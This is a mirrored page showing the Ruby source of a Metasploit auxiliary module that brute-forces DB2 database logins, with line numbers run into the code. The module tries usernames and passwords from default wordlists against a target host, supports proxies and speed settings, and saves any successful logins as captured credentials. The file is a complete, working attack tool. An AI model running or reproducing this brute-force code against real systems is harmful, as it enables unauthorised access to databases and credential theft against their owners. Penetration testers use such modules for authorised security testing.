Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/db2/db2_auth.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/db2'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::DB210include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Scanner12include Msf::Auxiliary::Report1314def initialize15super(16'Name' => 'DB2 Authentication Brute Force Utility',17'Description' => %q{This module attempts to authenticate against a DB218instance using username and password combinations indicated by the19USER_FILE, PASS_FILE, and USERPASS_FILE options.},20'Author' => ['todb'],21'References' =>22[23[ 'CVE', '1999-0502'] # Weak password24],25'License' => MSF_LICENSE26)2728register_options(29[30Opt::Proxies,31OptPath.new('USERPASS_FILE', [ false, "File containing (space-separated) users and passwords, one pair per line",32File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]),33OptPath.new('USER_FILE', [ false, "File containing users, one per line",34File.join(Msf::Config.data_directory, "wordlists", "db2_default_user.txt") ]),35OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",36File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),37])38end3940def run_host(ip)41cred_collection = build_credential_collection(42realm: datastore['DATABASE'],43username: datastore['USERNAME'],44password: datastore['PASSWORD']45)4647scanner = Metasploit::Framework::LoginScanner::DB2.new(48configure_login_scanner(49host: ip,50port: rport,51proxies: datastore['PROXIES'],52cred_details: cred_collection,53stop_on_success: datastore['STOP_ON_SUCCESS'],54bruteforce_speed: datastore['BRUTEFORCE_SPEED'],55connection_timeout: 30,56max_send_size: datastore['TCP::max_send_size'],57send_delay: datastore['TCP::send_delay'],58framework: framework,59framework_module: self,60ssl: datastore['SSL'],61ssl_version: datastore['SSLVersion'],62ssl_verify_mode: datastore['SSLVerifyMode'],63ssl_cipher: datastore['SSLCipher'],64local_port: datastore['CPORT'],65local_host: datastore['CHOST']66)67)6869scanner.scan! do |result|70credential_data = result.to_h71credential_data.merge!(72module_fullname: self.fullname,73workspace_id: myworkspace_id74)75if result.success?76credential_core = create_credential(credential_data)77credential_data[:core] = credential_core78create_credential_login(credential_data)7980print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"81else82invalidate_login(credential_data)83vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"84end85end86end87end888990